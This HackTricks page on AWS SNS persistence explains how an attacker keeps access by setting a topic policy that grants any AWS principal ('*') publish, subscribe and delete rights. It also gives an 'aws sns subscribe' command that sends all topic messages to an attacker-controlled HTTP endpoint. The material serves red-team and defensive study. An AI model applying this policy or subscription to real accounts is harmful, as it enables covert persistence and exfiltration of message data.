hacktricks-cloud/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md

AWS - SNS Persistence

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

SNS

For more information check:

{% content-ref url="../aws-services/aws-sns-enum.md" %} aws-sns-enum.md {% endcontent-ref %}

Persistence

When creating a SNS topic you need to indicate with an IAM policy who has access to read and write. It's possible to indicate external accounts, ARN of roles, or even "*".
The following policy gives everyone in AWS access to read and write in the SNS topic called MySNS.fifo:

{
  "Version": "2008-10-17",
  "Id": "__default_policy_ID",
  "Statement": [
    {
      "Sid": "__default_statement_ID",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": [
        "SNS:Publish",
        "SNS:RemovePermission",
        "SNS:SetTopicAttributes",
        "SNS:DeleteTopic",
        "SNS:ListSubscriptionsByTopic",
        "SNS:GetTopicAttributes",
        "SNS:AddPermission",
        "SNS:Subscribe"
      ],
      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
      "Condition": {
        "StringEquals": {
          "AWS:SourceOwner": "318142138553"
        }
      }
    },
    {
      "Sid": "__console_pub_0",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "SNS:Publish",
      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
    },
    {
      "Sid": "__console_sub_0",
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "SNS:Subscribe",
      "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
    }
  ]
}

Create Subscribers

To continue exfiltrating all the messages from all the topics and attacker could create subscribers for all the topics.

Note that if the topic is of type FIFO, only subscribers using the protocol SQS can be used.

aws sns subscribe --region <region> \
    --protocol http \
    --notification-endpoint http://<attacker>/ \
    --topic-arn <arn>

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}